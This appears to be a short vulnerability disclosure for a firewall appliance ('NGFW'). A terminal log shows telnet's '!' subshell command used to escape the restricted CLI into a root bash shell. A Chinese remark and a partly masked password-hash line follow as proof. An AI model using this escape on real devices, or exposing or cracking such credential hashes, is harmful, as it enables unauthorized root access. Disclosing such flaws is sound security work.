code 区域[root@NGFW ~]# telnet -n test
telnet> help
Commands may be abbreviated. Commands are:
close close current connection
logout forcibly logout remote user and close the connection
display display operating parameters
mode try to enter line or character mode ('mode ?' for more)
open connect to a site
quit exit telnet
send transmit special characters ('send ?' for more)
set set operating parameters ('set ?' for more)
unset unset operating parameters ('unset ?' for more)
status print status information
toggle toggle operating parameters ('toggle ?' for more)
slc change state of special charaters ('slc ?' for more)
z suspend telnet
! invoke a subshell
environ change environment variables ('environ ?' for more)
? print help information
telnet> !/bin/bash
bash: complete: -E: invalid option
complete: usage: complete [-abcdefgjksuv] [-pr] [-o option] [-A action] [-G globpat] [-W wordlist] [-P prefix] [-S suffix] [-X filterpat] [-F function] [-C command] [name ...]
bash: complete: -D: invalid option
complete: usage: complete [-abcdefgjksuv] [-pr] [-o option] [-A action] [-G globpat] [-W wordlist] [-P prefix] [-S suffix] [-X filterpat] [-F function] [-C command] [name ...]
[I have no name!@NGFW ~]# w
17:27:26 up 2:34, 1 user, load average: 3.19, 2.88, 3.08
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
[I have no name!@NGFW ~]# id
uid=0 gid=0(root) groups=0(root),502(vyattacfg),503(vyattaop)
[I have no name!@NGFW ~]# exit
telnet> [root@NGFW ~]#
[root@NGFW ~]#
漏洞证明：你们的系统竟然密码不写在shadow里面
1$9HNbC4XF$打码5wFX1:15639:0:99999:7:::